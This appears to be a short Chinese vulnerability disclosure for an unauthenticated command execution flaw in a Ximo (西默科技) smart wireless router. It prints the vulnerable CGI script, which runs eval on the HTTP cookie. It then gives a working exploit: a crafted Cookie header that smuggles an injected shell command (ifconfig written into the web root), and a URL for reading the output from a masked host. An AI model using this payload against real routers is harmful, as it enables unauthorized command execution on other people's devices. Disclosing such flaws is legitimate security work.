西默科技智能无线路由设备命令执行漏洞（无需登录）

/cgi-bin/checkCookie

#!/bin/sh
 printf "content-type:text/html;
 cache-control:no-cache
 
 "
 eval $(echo ${HTTP_COOKIE});
 if [ "${login}" = "login" ]; then
         if [ "${cmd}" = "check" ]; then
                 exit 0
         fi
         echo "<meta http-equiv=/"refresh/" content=/"0;url=/home.htm/" />";
 else 
         #echo "<meta http-equiv=/"refresh/" content=/"0;url=/login.htm/" />";
         echo "<script>parent.window.location.href=/"/login.htm/"</script>";
 fi

/cgi-bin/checkCookie
 加上Cookie:login=login|ifconfig>/etc_ro/web/wy.txt

**.**.**.**/wy.txt

**.**.**.**/wy.txt